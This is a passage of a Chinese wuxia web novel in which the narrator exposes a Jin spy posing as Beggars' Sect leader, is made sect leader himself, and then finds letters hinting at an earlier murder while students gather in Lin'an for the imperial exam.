马小六污浊不堪的手已经撩开了娄琴的衣襟。我感觉,一股强烈的怒火正从我的胸口骤然升起,向上直冲头顶。 如果说,这世间有什么可以战胜恐惧,那便是愤怒。足以战胜恐惧的愤怒! 这股力量在我的血液中游走,乱窜。我攥紧拳头,阔步冲了上去,并顺手抄起了那根躺在地上的铁棍。 铁棍虽然很沉,但使惯了木棍的我,攥在手中,却依然倍感亲切。 我大叫一声,盯准马小六的后脑,扬起手中的铁棍,猛地砸了一下去。 “当”的一声。 我仿佛还听到了骨骼碎裂的“咔嚓”声。 马小六瞪着惊讶的眼睛回头看我,满脸的难以置信,他指着我,说:“你,你,竟然,竟然......” 青光剑“咣啷”一声砸在了地上。 马小六“轰隆”一声躺在了地上。 这时,我才感觉到我那颗在胸腔里砰砰直跳的心,几乎要跳出来了。 空气似乎是凝固了。所有人的人都直勾勾地盯着我,张口结舌。 “啪”的一声,我感觉有一掌推在我的肩头。我心里“咯噔”一下,下意识地扭头要砸。却见是李小谦站在了我的身后,说:“牛逼啊,旦丙!” 这一场危机......就这么过去了? 不错,这场危机就这么过去了。 我们把被我砸昏的马小六五花大绑。李小谦一碗热水泼到他的脸上。昏死过去的马小六突然睁大了眼睛,随即“哇哇”大叫,一张脸登时变得又红又肿。 李小谦手里端着直冒白烟的热水,说:“好小子!这两天射飞镖,杀鸡,杀狗,杀人的,都是你吗?” 马小六一撇嘴,冷哼一声,一副宁死不屈的模样,说:“有本事你就杀了我!我丐帮数千弟子不会......” “哗”! 一碗热水有泼了他的脸上。马小六满脸冒烟,咧着嘴大叫:“饶命,饶命,是我,都是我干的。” 娄琴问:“你到底是什么人?丐帮到底是什么一回事?!” 马小六红肿的脸上露出难色,他左看右看,似乎有什么难言之隐。 李小谦又端来一碗热水,说:“告诉你,托你的福,老子这几天鸡和狗都吃了,就差吃人了!” 马小六连忙摇头,说:“别,别,我说,我说!” “快说!”李小谦将碗往桌上一磕,马小六猛地一哆嗦,颤声说道:“小,小的原名叫乌达卜,是,是盖天大王的部下。” 所以的人都愣住了。 他竟然是金人。 娄琴一把抓起马小六的衣领,喝道:“你是金贼!你潜入大宋,建立丐帮有何图谋?!” “我,我......”马小六又开始支吾。 李小谦端起热水,说:“来,来,来,你喝一口!”碗里肆虐地冒着白烟,马小六红肿的脸吓得苍白,他连连大叫:“我说,我说!” “快说!”娄琴大吼。 马小六说:“盖天大王听说巢湖武林大会选出了武林盟主,害怕江湖上再出一个李彦仙,因而派我潜入大宋建立帮派,制造事端,引宋廷出兵剿灭江湖上的各大门派。” 娄琴问:“你们来了多少人?” 马小六说:“就我一人!” 我说:“你不是牛小宝的大舅哥吗?” 马小六一怔,说道:“我,我不是他大舅哥。我到了大宋之后,收留了一个女子,以兄妹相称,为的不过是隐瞒身份而已。没想到,那女子竟对我有了情意,我担心与她走得太近会暴露身份,便索性将她嫁给了牛小宝。我说得都是真的!” 娄琴冷冷地看着马小六,说:“你们为了达到自己的目的,竟然纠结起这么多穷苦人,成立丐帮!你可知道,这样会将他们置于死地?!”说完,她拿过李小谦手中的碗,将冒着滚滚白烟的热水泼到了马小六的脸上,转身离开了。 马小六惨叫声不绝于耳。 我看着娄琴离开的背影。总有一种感觉,她虽然远离这个江湖,却又无时不刻地在关心着这个江湖。她关心的不只是江湖,还有这个天下所有的人。 当晚,白景行出现在了娄琴客栈的门口。 他摇着手里的鎏金葫芦,冲着娄琴咧嘴讪笑:“给老夫打壶酒可好?” 娄琴淡淡一笑,接过酒葫芦,默然地离开。 白景行发现了她的异样,问我:“小姑娘怎么了?” 我说:“今天我们抓住了丐帮帮主。” 白景行惊呼一声,说:“抓他做什么?” 我便将这几日发生的事情向白景行一一道来。他听完之后,表情凝重,默然无语。沉默了许久,他才开口问:“那人在哪里?” 我说:“后院柴房。” 白景行转身向柴房走去,走到一半,他又转身回来,倒了一碗热水。 随后,我便听到了马小六杀猪一般的嚎叫。 回到厅堂的白景行,摇头叹息:“是我大意了。实在是太大意了。” 娄琴安慰道:“前辈不必自责,这种事谁也无法预料。” 白景行摇了摇头,说:“丐帮忽然兴起,仅凭一个臭名昭著的王冲的确是难了些。我应该预想到其背后定然有其他力量支持,但是我却忽略了此事,没有深入调查。若被金人的奸计得逞,我如何对得起江湖上的各路英雄?!” 他摇头叹息,脸上写满了懊悔之意。 娄琴说:“前辈,当务之急是丐帮的那些弟子。他们都是无辜的穷苦人,无端被人利用,因此结成帮派。如果不能及时引导,万一再被奸佞之人控制,惹出事端,恐怕会酿成一场悲剧。” 白景行点头称是。他霍然起身,对我说:“臭小子,跟我走!” 我? 他要叫我去做什么? 我下意识地拒绝,说:“我不去!” 白景行竟然伸手揪住了我的耳朵,说:“你敢不去,老夫就喂你一颗醉生梦死丸!” 我顿时感觉连心带胃一阵抽搐,连连点头,说:“我去,我去!” 就这样,我被白景行以“醉生梦死丸”为威胁,随他冲入了黑夜之中。 披星戴月。他一身雪白的背影在前面飘着,我惴惴不安地跟在他身后,不知去往何处。 第一卷 最后一个武林盟主 第七十章 帮主 掌门? 帮主? 还有门主。 这些听起就能让人为之一震的头衔,我从没有想过会和我有什么关系。 我只是一个普通人。有师父却不会武功,当过山贼却不能心狠手辣。我曾经十分希望自己可以闯荡江湖,但一路闯来,才发现,这个江湖深不可测,尚未深入,却已觉得其中诡谲恐怖。 后来,我情愿做一个普通人。一个有钱的普通人,过着衣食无忧的生活,一个宅子,一个女子,几个孩子...... 但是,这一夜,改变了我人生的轨迹。 因为,这一夜,白景行舌战群丐,一举把我推上了丐帮帮主的宝座。 天色初晓,天边泛起鱼肚白。地上躺着的,却是马小六的尸体。 话说,当夜,我和白景行冲出娄琴客栈,赶到丐帮的总坛。到了门口,白景行却愣住了。我问:“你怎么了?” 白景行说:“我好像忘了一件事情。” 我已经习惯了。这个老酒鬼或许是因为常年饮酒的缘故,记忆退化得十分严重。他时长会忘记一些事情。有时候,他会拿着鎏金葫芦,呆呆在坐在一个地方,怔怔地发呆好半天。突然,他开始四处寻找,表情急躁。 当别人问他,你找什么? 他说,他在找葫芦。 别人说,葫芦在你手里呢。 他傻愣愣地看着葫芦,半晌,又开始找。 别人又问他,你又在找什么? 他忽然停下,问:“我在找葫芦里的酒?” 李小谦说,他这是老年痴呆症的前兆。 白景行站在丐帮总坛的门口。他说,他忘了一件事情。他强调,这件事情非常重要。 我好奇地问:“什么事情?” 他说:“我们应该把马小六带上。” 我顿时大怒,质问:“为什么不早说!我们都到了!” 白景行嘿嘿地笑着,说:“我刚想起来。” 星夜,我们又跑回来娄琴客栈,带着被烫成猪头的马小六来到了丐帮总坛。 夜已深了。乞丐们正在睡觉。祭坛下黑压压的一片,看上去有六七百人。他们横七竖八地躺在地上。 大地是他们的床榻,夜空便是他们的被子。 这个季节的夜晚已经有些凉了。清冷的风一吹,很多人在睡梦中抱紧了彼此。看着这样的场景,我的心里莫名的一阵酸楚。 “都起来!”白景行拎着奄奄一息的大喝一声。 场下的反应,并不一样。有的人很敏锐,他们闻声豁然站起,随即摆出了进攻或者防御的姿势。有的人迟钝了些,他们在地上打了几个滚,或许是在朦胧中一番思索发现情况异常,才猛然起身。 还有一些人,仍然在睡觉,仿佛没有事情发生一般。 白景行喊道:“把这些人都叫起来。” 客气地弯下身子拍了拍,不客气地用脚丫子戳了戳。不一会儿,都醒了。 我忽然感觉到一阵凉意,因为,我此时才意识到,我和白景行,被七八百名乞丐包围了。 他们各个冷眼直视,手中紧紧地攥着木棍,俨然将我们视为了敌人。因为,白景行的手中还拎着他们的帮主。那个被烫成了猪头的马小六,一直在低声呻吟。 白景行说:“老夫相信,你们都知道老夫是何人?!”他没有给那些人留下任何回应的机会,直接说:“今日,老夫要向你们揭露一件事情。那便是,你们的盟主.....是金人!” 台下一片哗然。 白景行往马小六腿上一踢,马小六顺势跪倒在地上。白景行拧着马小六的耳朵,说:“快,把你白天讲的那些再说一遍!” 马小六还没有说完,他就被一群乞丐活活打死了。 并不能说这些乞丐心里没有猜疑。或许,他们也并不完全相信我们说得一定是真的。只是因为,马小六以下三滥的手段管理丐帮,一个丐帮的长老之位竟然能卖几十两银子,只是他人心尽是,平日里乞丐们敢怒不敢言。如今,对帮主的不满和家国仇恨联系在了一起,积怨终于有了发泄的出口,应有理智因而也焕然消散。 总之,马小六死了。七八百人之多的丐帮群龙无首。 白景行将我推到人前,说:“正是此人发现了金人的奸计,他是你们丐帮的恩人。” 他这样一说,让我心情倍感舒畅。虽然,这件事并不像白景行所说的那样。但是,我依然感觉自己像个英雄一样,享受着一群乞丐向我投来的感激与崇敬。 白景行又说:“如今,丐帮群龙无首,老夫推举此人为丐帮帮主。” 什么?!要我做丐帮的帮主?! 我犹如被厉雷霹雳击中一般,浑身忍不住地巨震,一颗心登时蹿到了喉咙顶上,惊讶得连话都说不出来。 台下瞬时炸开了锅。 起初还有三三两两的人表示认同。但随即便被浩如烟海的反对声淹没。 “凭什么?他又不是我们丐帮的人!” “这人不是前些日子侮辱我们丐帮的那个人吗?” “他瞧不起我们,凭什么做我们丐帮的帮主!” “不错,我们不能同意。” 反对声一浪掀过一浪。有些人的情绪已经由最初的激动转为了愤怒,他们有人开始谩骂。 前一刻还是备受感激的恩人,这一刻却成了众矢之的。 我的心情也随之跌落谷底,惶恐不安的心让我不住地往后退。 白景行的手一把托在我的腰间,低声喝道:“退什么?!站到前面去!” 我说:“他们会打死我的。” 白景行说:“有我在,怕什么?!” 的确,有白景行这样一个武功极高的人为我撑腰,我本不应该有害怕的理由。但是,眼前的景象,还有白景行的脑子,让我忍不住想要退却。 万一,在众人冲上来的时候,他把自己的武功忘了怎么办? 我开始担心。 白景行大声喝道:“都听我说!” 台下几乎沸腾的议论声渐渐止息。人们看着白景行,也盯着我。 我依旧紧张得要死。白景行说:“此人心性纯良,揭露金人奸计,使丐帮免受灭顶之灾。可以说,是救了你们所有人的性命。他做帮主,再合适不过了。” 一个上了年纪的乞丐站了出来,他说:“我们丐帮的帮主,就应该从我们丐帮的人里选,凭什么让一个外人来当我们的帮主?” “不错!”一大群人开始呼应。 白景行说:“谁说不是丐帮的人就不能做丐帮的帮主?老夫做掌门之前也不是青云派的弟子。帮主之位本应有能者居之,只要对丐帮有益,何必拘泥于他是不是丐帮中人?” “你说他有能力。他有什么能力?”又有人质疑。 此时,我感觉自己仿佛正在被众人一层一层的扒光。而白景行在做的,是为我一层一层地套上虚假的外衣。只为了让我在他们面前看起来本领不凡,足以胜任他们的帮主。 白景行指着马小六的尸体,说:“这便是很好的证明!他既能识破此人奸计,又能将他擒到你们面前,难道还不能说明一切吗?” “可他不是乞丐。”有人大喊一句。 白景行说:“你们谁愿意一辈子做乞丐?!如非战祸蹂躏致使你们流离失所,你们谁会愿意做乞丐?!” 台下顿时鸦雀无声。 谁会愿意做乞丐?! 如此诛心的一问,正中了所有人的痛处。 白景行说:“这个世间,或许有人可以给你们一碗冷饭,或许有人可以给你们几两碎银,但是,这个人可以给你们安宁,他将带着你们走出丐帮,重建家舍,让你们所有的人都不再是乞丐!” 我颤巍巍地说:“这牛逼吹得太大了!” 白景行在我后腰戳了一下,低声喝道:“闭嘴!” 然而,台下的人开始欢呼。他们高举着双手,就像高高举起了希望。他们喊着“帮主”。 我的心却更加沉重了。 第一卷 最后一个武林盟主 第七十一章 赶考 一切看起来荒诞不经,却又顺理成章。 我成了丐帮的第二任帮主。看着一浪高过一浪的拥护声,我泛起的虚荣心战胜了一切。 白景行问我:“有没有什么想说的?” 我努力回忆那日巢湖武林大会上白景行说的话。思前想后,只有三句能用。我提着嗓子大声说:“一、严禁私斗;二、严禁为恶。” 我觉得心里没底,不知自己这样说是否恰当,便看了白景行一眼。他满意地向我点了点头。我顿时底气十足,提高嗓门大喊:“三、等我想好了再说。” 白景行一脚踹到了我的屁股上,骂道:“你个小兔崽子。” 上了年纪的乞丐走上前来,问我:“敢问帮主如何称呼?” 我脸颊一热,低声说道:“姬,姬旦丙。” 他的反应和我以往见到的所有人都不一样。当我报完姓名,他目光直勾勾的盯着我,没有笑,而是狠狠地吞了一口唾沫。 随后,一张嘴,口水却又流了出来。 纵然如此,我还是将那个乞丐封为丐帮第一大长老,补了王冲的缺。因为,在我心里,只要不会嘲笑我名字的人,都会让我下意识地产生好感。 回到娄琴客栈时,天已经亮了。 娄琴和李小谦在客栈里等待着我们回来。一进门,李小谦便向恶狗扑食一般地跑过来问:“怎么样了?谁是新任的丐帮帮主。” 我说:“我。” 李小谦说:“你什么?” 我说:“我是丐帮帮主!” 李小谦向后一跃,叫道:“凭什么?!” 白景行喝着酒走了进来,说:“凭他救了丐帮,是丐帮的恩人。” 李小谦不忿地说:“救丐帮我也有份,前辈为何不让我做丐帮帮主?” 白景行淡淡一笑,摇了摇头,没有说话。 娄琴走到我跟前,用她温柔的手温柔地捧起我的脸。我感觉双颊如沐春风,内里如同燃起一团烈火,浑身发烫。 她说:“恭喜你啊,小旦丙。” 李小谦对我做丐帮帮主一事仍旧不服,他说:“就他那智商,不把丐帮搞垮才怪。” 白景行说:“有老夫在,不会有事的。” 我心里扬起一阵暖意。但是,我仍然不明白白景行为什么会推我做丐帮的帮主。想起在丐帮总坛,被七八百名乞丐欢呼着拥立为帮主的过程,我仍心有余悸。 我问白景行:“为什么是我?” 白景行没有说话,他转身走向后院。我心里憋得异常难受,总想要从白景行那里问明其中的缘由。 于是,我追了出去。 我继续追问:“为什么是我?” 这时,我才发觉,白景行苍老的脸上布满了疲倦。他的双目中血丝密布,似乎是已经许久未眠一般。他看着我,淡淡的笑,说:“你可知丐帮这些人为何会聚在一起被金人利用?” 我摇了摇头。 白景行说:“因为他们过得苦,但他们却想要过好日子。他们有共同的愿景。” 我说:“可是,我帮不了他们。” 白景行说:“我会帮你。” 我问:“为什么?” 白景行说:“因为你......”他忽然摇了摇头,又是淡淡地一笑。 我说:“我觉得,李小谦比我更合适。”因为,他聪明机敏,他比我有更多的主意。或许,他真的可以帮助那些穷苦人摆脱困境。 白景行走了。他双足点地,越过娄琴客栈的院墙。临走,留下一句:“心术不正,不可为用。” 绍兴十三年,八月朔旦。 距科考已不足五日。从各地赴京赶考的学子如流民一般的涌进了临安府。 不仅是人数众多。 而是,衣衫褴褛。 娄琴说,每逢科考,各地的学子都会跋山涉水地赶来。他们很多人家境贫寒,却仍然会为了这一丝希望拼尽所有。一路艰辛,很多人赶到临安府时,已经身无分文。甚至,有的人,根本到不了临安。 她叹息:“即使入朝为仕又能如何,不过是给自己平白添了几道枷锁,倒不如一生不羁,放荡于江湖,逍遥自在。” 李小谦说:“这便是围城,城中的人想出去,城外的人想进来。” 我说:“那就打开城门!” 随着进京赶考的学子越来越多,娄琴客栈迎来了我前所未见过的忙碌。 娄琴开始发愁。 她心里可怜那些学子,不但没有借机抬高房价,反而价格压得很低。致使娄琴客栈里的人摩肩接踵,趴在柜台上就为了抢一间客房。 为了抢客房。学子们开始哄抬房价。 “我出三两银子!” “我出三两一钱!” “我出五两银子!” “我出五两一钱!” “你怎么总是比我多一钱?” “一钱足矣,多者无用!” 两个人开始争吵。 眼看着房价水涨船高,李小谦竖着大拇指说:“娄姐,你这招高明啊!” 娄琴啐了一口,说:“休要胡说。”她竭力压制着情绪激动的学子,说:“本店就收二两银子。你们莫要私自抬价!” 李小谦眼间娄琴放着银子不挣,急上眉心,说:“娄姐,这么好的机会,你为何……” 娄琴不再搭理他。李小谦只得狠狠作罢。 然而,一共二十几间客房,怎么容得下这一屋子百十名学子?娄琴的脸上露出难色。 李小谦忽然一笑,说:“娄姐,我有主意了。” 娄琴问:“什么主意?” 李小谦说:“我们整一些上下铺。这样就可以把他们都安排下了。” 娄琴疑惑不解:“何为上下铺?” 李小谦说:“两张床,一个在上面,一个在下面,摞在一起。”他比划着,却仍然让人十分费解。 李小谦见我们都一脸茫然,他索性拿来一张纸,画了一张图,往我们脸前一推,说:“就是这个样子!” 娄琴双手一拍,叫道:“果然是好主意。” 她带着李小谦的图纸,在临安府找了十几名木匠,一番忙碌,终于在天黑之前,在娄琴客栈的二十多间客房中安置了五十多张上下铺。 娄琴的脸上露出了久违的喜悦。 李小谦一个一个地数着,眉飞色舞,喜不自胜。他说:“这下可发财了,一个床位二两银子。这一天可是一百多两银子啊!” 娄琴说:“一个房间两个上下铺,原本要二两银子,现在收五钱便可以了。” 李小谦大叫:“什么?!做这些床可花了三十多两呢!” 娄琴没有回应他,笑吟吟地走了。 由于众多学子的入住,我和李小谦只能与另外两名学子同住。 李小谦住在我的上面。 我躺在他的下面。 距离科考,还有四天。陆游依旧没有出现。我问李小谦:“陆游什么时候来?” 李小谦说:“或许明天。” 我问:“明天?” 李小谦又说:“也或许是后天。” 我感觉他又在戏弄我,抬脚向他的床板猛地一踹。 “咣”的一声。李小谦却哭了。看着他蒙头大哭,我顿时慌乱了。我问他:“你怎么了?” 李小谦抽泣着说:“以前在学校里,我也是睡上铺!” 原来,在他的心里始终放不下那件事。他一只都在想念着他那回不去的家。 躺在床上,听着李小谦伤心的呜咽声,我却忽然感到羡慕。他尚且有家可念,而我的家在哪里呢? 陡然间,我又想起丐帮的那些人,深感肩上担子沉重。到底要怎么做才能让他们过上安稳的日子,不再做乞丐呢? 我真的能做得到吗? 白景行真的会帮我吗? 第一卷 最后一个武林盟主 第七十二章 地震 绍兴七年,腊月。 那是一个严冬。长江两岸,宋金的战事仍在僵持。 这一年,我兄弟四人随八矛师父躲在了温暖的静江府。这里远离战乱,聚集了许多像我们这样逃难而来的北方人。 这天,我们五人在静江府北郊的土地庙里寄宿。 入夜,微寒。四周出奇地静。 渐渐地,鸡开始打鸣,狗开始狂吠。 八矛师父烦躁不堪,大叫,何事惹得鸡犬不宁? 忽然,我碗里的水竟然莫名其妙地荡起了一圈又一圈的波纹,屁股下的木桌子开始晃动,发出“吱呀吱呀”的声响。 我们正在疑惑到底发生了什么时。天地间忽然响起“隆隆”的雷鸣声,大地开始剧烈的摇晃。当时,我便蒙住了,以为是我们贸然入住土地庙,因而触怒了神明。但,当我跳下桌子,纳头要拜时,八矛师父却大喊了一声:“地震了!快跑!” 随即,他右手抱着夕丁,左手拉起我,喊着我大哥、二哥的名字就往土地庙外面跑。 刚跑出土地庙,原本就破烂不堪的庙宇,霎时间成了一堆废墟。尘烟滚滚,扬起几丈之高,竖耳听去,城中尽是哀嚎。 那一幕,给我留下了极为深刻的印象。 “吱呀吱呀”! 朦胧间,我听到一阵木架摇晃发出的声响,这声响有些熟悉,隐约勾起了我内心深处的一些回忆。 床体开始摇晃。 “吱呀吱呀”! 我猛然坐了起来。四周一片漆黑,如同是置身在深夜无边无际旷野之中,只有那木架的“吱呀”声和床体的晃动让我清晰的感觉到自己仍然躺在床上。 我心里咯噔一下,大声喊道:“快跑啊!地震啦!”随即,掀开被子,凭着记忆向屋门处狂奔。 已经尘封了许多年的记忆,在这一刻变得尤为清晰。我心里不断提醒着自己,快跑,房子马上就要塌了,快跑! 脚下极力地跑着,我嘴上大声地喊着:“快跑啊!地震了!” 紧接着,我身后的客房里传来一阵阵的尖叫,倏尔,所有的房间里“几里咣当”的一片混乱声。一大群人跟在我身后,不明所以,便向娄琴客栈外狂奔。 很快,一百多号人衣着不整地站在了娄琴客栈之外,各个面带惊恐地四处张望。 然而,大地却并没有像我记忆中一样剧烈的晃动,天地之间也没有传来“隆隆”的声响,娄琴客栈依旧结结实实地立在我们面前。 娄琴裹着一件轻纱,凹凸的身材,朦胧可见。她问:“哪有地震?” 人群中有人开始喊:“什么是地震?都跑出来干什么?!” 这是怎么回事?我分明感受到了地震的前兆,莫非是做梦?! 可那梦也太过真实了。 李小谦一条被单裹着身子,朦胧的月色照着他那两条长满毛的腿。他阴着脸对我说:“告诉我,怎么回事?!” 我说:“我感觉床在晃,以为是地震了。” 李小谦一张脸憋的通红,许久,才从牙缝里挤出一句:“靠!你大爷的!”随后,他扭头向客栈里走去。 我见他神情颇为奇怪,追上去问:“你怎么了?” 李小谦扭头向我吼道:“怎么了?!你还好意思问怎么了?!老子正瞄准呢,让你给强行抠了扳机,你他娘的还问我怎么了?!快滚回去睡觉!” 我不明白发生了什么。但随着李小谦安然无恙地进去,所有的人都骂骂咧咧地回了自己的房间。 我问娄琴:“李小谦说得是什么意思?” 娄琴也一脸茫然地摇头,说,她不知道。 这一夜平安,没有地震。 第二天,李小谦一脸疲惫地从我身旁走过。看他的表情,似乎是有什么意犹未尽之事令他颇感沮丧。 我问他:“你怎么了?” 李小谦白了我一眼,也不说话,只是默不作声地往楼下走。 娄琴客栈的厅堂里,人来人往,进进出出,热闹非凡。柜台前,一个身穿青色长衫的男子正在和娄琴说着什么。 那背影英气勃发,甚是熟悉。 “陆游!”我喊了一声。 他回过头冲我灿然一笑。我心中欢喜,快步绕过一脸怅然的李小谦,走到陆游跟前,问:“何时到的临安?” 陆游说:“昨日傍晚便到了,本想来娄姐客栈投宿,但无奈当时这里一房难求。况且,表妹与我同行,与他人同住一室恐怕多有不便.....” 我这才发现,他身旁多了一个娇小玲珑,面容白皙的书童,那人正是扮了男装的唐婉。我冲她一抱拳,她竟然显得有些慌乱了,向我颔首致意,脸颊一片红晕。 “李兄好!”陆游向李小谦拱手,似乎是察觉李小谦有些异常,便问,“多日不见,为何李兄精神如此萎靡不振?”李小谦也不说话,只是低头摆手。 我说:“这事都怨我。” 陆游疑惑,问:“你?你为何会让李兄如此萎靡?” 我说:“昨夜,我在梦中,忽然觉得床体摇晃,以为是地震......我......呜呜......”话说了一半,李小谦就捂住了我的嘴巴,冲陆游嘿嘿地笑着,说:“别听他话说八道。”说完,他又瞄了一眼唐婉。 “地震?”陆游道,“昨夜发生地震了吗?”他又看了一眼唐婉,问:“表妹是否感觉到有地震?” 李小谦说:“没有地震,是姬旦丙,他睡蒙了。” 唐婉忽然笑了一下。我不觉怒从心生,暗骂李小谦,成心提我名字,让我出丑。 “陆兄现住在何处?”李小谦问。 陆游指着街对过的君来客栈,说:“小弟就住在对面。昨日落脚之后,本想着赶来拜会。一来看你们十分忙碌,应接不暇,二来是因车马劳顿,表妹有些不适,因此,到今日才来。”说着说着,唐婉的脸又红了。 其实,我并不是很喜欢陆游这种人。他虽然武功高强,一身正气,也曾救我于危难。但是,他为人古板,教化严重,不通情理,是一个十足的书呆子。并且,他说话总是文绉绉的,听得我浑身别扭。 李小谦看着唐婉笑了笑。不知为何,我总是感觉李小谦看唐婉的次数多了些。从见到陆游开始,他的目光总是时不时地看向唐婉,似乎对这个娇俏玲珑,又羞羞答答的“表妹”颇感兴趣。 李小谦问:“陆兄备考如何?今科登榜可有把握?” 陆游笑着摆了摆手,说:“并无把握。只是家母一味要求,却又不得不考。” 李小谦嘀咕道:“老子早就知道你考不上了。” “什么?”陆游没有听清。 李小谦慌忙遮掩,道:“我是说,但愿陆兄能早日考上。” 不对!他刚才不是这么嘀咕的。 我说:“你不是......呜呜......”我又被李小谦捂住了嘴。 陆游笑着,问:“李兄准备得如何了?” 我不觉一震,叫道:“你也要参加科考?” 李小谦哼了一声,说:“我不应该参加科考吗?好歹我也是柳湖书院的学生,不能参加科考吗?” 我说:“柳湖书院没了。” 李小谦狠狠地说:“你住口!” 娄琴客栈里依旧是熙熙攘攘的热闹景象,似乎这一天都没有片刻的安息。仍有人会时不时地提起昨夜的那场“地震”。 有的人疑惑,有的人愤怒。 然而,很多年以后。当我再次回忆起这场地震时,我依旧十分迷茫。到底是那场地震真的发生过,还是我的确把梦境当做了现实呢?! 第一卷 最后一个武林盟主 第七十三章 信笺 科考那天,热闹了几日的娄琴客栈顿时变得异常冷落。 原本熙熙攘攘的住客,在那一日的清晨一涌而出,各个表情凝重,像奔赴战场一样奔赴了考场。 突然安静下来的娄琴客栈变得有些无趣。娄琴叹了口气,将椅子搬到门口,坐下来晒太阳。 这两日来,百十名书生在娄琴客栈的厅堂里对诗作词。李小谦也附庸风雅,在厅堂里与他们吟对。 李小谦每做一首诗,都引起满堂喝彩,俨然成了全场的焦点。他成了在场学子中公认的才子,成为金科状元的热门。 开考前的早晨,十几名学子见到李小谦,已经开始提前祝贺他高中。我心里忽然莫名地失落起来。若此番,李小谦高中,那么他很快就可以入朝为官,从此平步青云。 那时候,他不再是他。 而我,还将是我。 我想起那日在临安府外的小镇上被我帮过的皇上。他曾经答应我,日后不会亏待我。不知他的承诺,是否还有机会应验。 百无聊赖的我来到了丐帮总坛。自从莫名其妙地做了丐帮帮主之后,就再也没有去过那里。时间久了,觉得有些亏欠那些山呼我“帮主”的乞丐。 总坛的后面是前任帮主马小六的住处。虽然,他已命丧乱棍之下,但那毕竟是帮主的住所,因而仍然有丐帮的弟子守着那间屋子,不让人随意进入。 “帮主好!”两个乞丐见我来,慌忙上前,笑脸相迎。 我顿时感觉心情舒畅许多。我说:“我想进去看看。” 一个乞丐从裤裆里掏出一把钥匙,熟练地将房门打开,说:“帮主请。” 这是一间陈设并不算简陋的房子。 甚至说,堪比娄琴客栈里的普通客房。桌椅板凳之上,虽然落满了灰尘,但仍旧可以看出崭新的痕迹。 这并不出我的意料之外。任何一个团伙,或许会苦了普通的弟兄,但绝对会有一个相对奢华的头目。 如今,我就是这个头目。 书桌上摆了一张暗黄的纸,上面也是满满的一层灰尘,看上去,马小六真的很久没有回过这里了。我吹了一口,扬起的尘土让我忍不住剧烈地咳嗽。 “嘎啦”一声。 在我向后退的时候,不小心碰到了身后的书架。一个暗红的木匣子从书架的高处翻滚下来,掉到地上“咣啷”一声,却丝毫无损。 这般结实的木匣子,也不知是什么材料做的。只见它木料温润,虽然不甚华丽,却仍让我觉得它是个好东西。 我好奇地端起它。一把精制的锁,将木匣子扣得严严实实。 我大喊:“这个东西有钥匙吗?” 一个乞丐跑进来,看了一眼,说:“回帮主,没有钥匙。” 没有钥匙?! 我轻轻摇晃,里面传来“沙沙”的声响,似乎是有纸张藏在其中。 好奇心的驱使下,我掏出了九郎剑。 用这把可以斩断金刀的宝剑去斩这样一把普通的锁,当然没有丝毫问题。“咔”的一声,一把精致的锁应声碎成两半。 我打开木匣子。里面放着的,竟然是一堆信笺。 所有的信封上都没有名字。我随手拿起最上面的一封,将它开拆。一张普普通通的纸张躺着几个普普通通的字。 但当我将那些字看完之后,身子陡然巨震。 “圆信已除。” 我颤声念着,只感觉头上如五雷轰顶一般,一阵晕眩。虽然不过半年多的时光,但这件事随着陆石的出现、圆通的消失,本来已经被我远远地抛在了脑后。 如今,它却又冒了出来。 圆信的死,莫非与马小六也有什么关联? 我想起那日,李小谦与陆石的对话。那些扑朔迷离的对话,和这封信连起来,又成了一个巨大的迷局。 我陷入其中,百思不得其解。 怎么办? 我心里有些慌了。 我将信塞入木匣子里,重重地合上盖子。这件事与我何干?这丐帮帮主本来就不是我要做的,是白景行硬将我推上来的。 圆信的死活,又与我何干?反正圆通已经走了。反正圆通也不是我的师父。其中有恩怨纠葛也好,有阴谋诡计也罢,都与我没有关系! 然而,我却不能自抑地去想,这到底是什么样的一个迷局? 他的谜底究竟是什么? 我看着门口在风中伫立的两个乞丐,他枯瘦而萧索的背影,让我想起我随着八矛师父四处逃难的那些年,我所见过的那些流离失所,在风雨中飘摇的穷苦人。 这些事,又与他们何干? 如果这是一场阴谋,那么丐帮或许已经被悄无声息地牵涉到了其中。如果,还有更大的阴谋,最后他们失去的不仅仅是对美好生活的向往,甚至可能是更多无辜的生命。 我越想越是心惊。我将所有的信从木匣子掏出了,一封一封地拆开来看。 然而,那些不过是无关紧要的嘱咐。 “不可急躁。” “隐藏身份。” “切勿泄露。” ...... 每一封信都是寥寥几字,再也没有与圆信之死有任何关联的信息。 我决定把这些信收起来。随身带在身上。或许,可以去问问李小谦。又或许,可以去问问白景行。如果可以找到他的话。 但我现在能做的只有回客栈。回到娄琴客栈里,慢慢地去想办法。想办法解开迷局。想办法解开答案。 临出门前,我问了守门的乞丐一句:“你认识圆信吗?” 他讷讷地摇了摇头,说:“不认识。” 我又问:“你认识陆石吗?” 他仍然摇头。 我有些失落。一路迈着沉重的步子往娄琴客栈处走。 第一卷 最后一个武林盟主 第七十四章 无关 回到娄琴客栈。 娄琴依旧坐在客栈门口悠闲地晒着太阳。她那芊芊玉指正不住地抚摸着门口的木桩。 我问:“这是你盘的?” 娄琴一怔,不解地问:“盘?什么意思?” 我便学着李小谦的口吻,向她解释了一番什么叫盘。娄琴听完之后,呵呵笑了起来:“这个小谦,说话当真是与众不同。” 我问:“你为什么把剑藏在这个木桩里?” 娄琴抚摸着木桩,宛如抚摸着孩子一样,甚是怜惜。她说:“这不是木桩,而是剑匣。” 剑匣? 我又仔细打量了一番,说:“这分明就是木桩。”我又想起那日娄琴留在木桩上的字条,补充道:“栓牲口很合适。” 娄琴啐了我一口,说:“不要胡说!这把青光剑与剑匣跟随了我十几年了,它们对我来说,很重要!” 我不解地问:“这么重要的东西,为何要插在门口?” 娄琴幽幽地一笑,那笑容中有一丝伤感,说:“我只是希望......他可以看到。” 谁? 娄琴的心中一直都有一个“他”。但那个“他”会是谁呢? 我刚想开口询问,却见娄琴莞尔一笑,一副若无其事的模样,说:“丐帮情况如何?” 我将怀里那封信掏了出来,说:“我发现了一封信。” 娄琴问:“什么信?” 我说:“有人写给马小六的信。” 或许是被我所感染,娄琴的表情也凝重起来,她接过那封信,有些迟疑地将它打开,轻轻念道:“不可急躁!” 我一把将那封信夺了过来,说:“拿错了。”然后,将所以的信都掏出来,一封一封的拆开来看。 这些信的封面一模一样,也不署名,着实让我找了好一番。 当我把那封“圆信已除”递到娄琴手上时。娄琴怔怔地端了半天,问:“圆信是谁?” 我这才意识到,娄琴根本不知道圆信的事情。 圆信、圆智、陆石,这些人,那些事,娄琴统统都不知道。 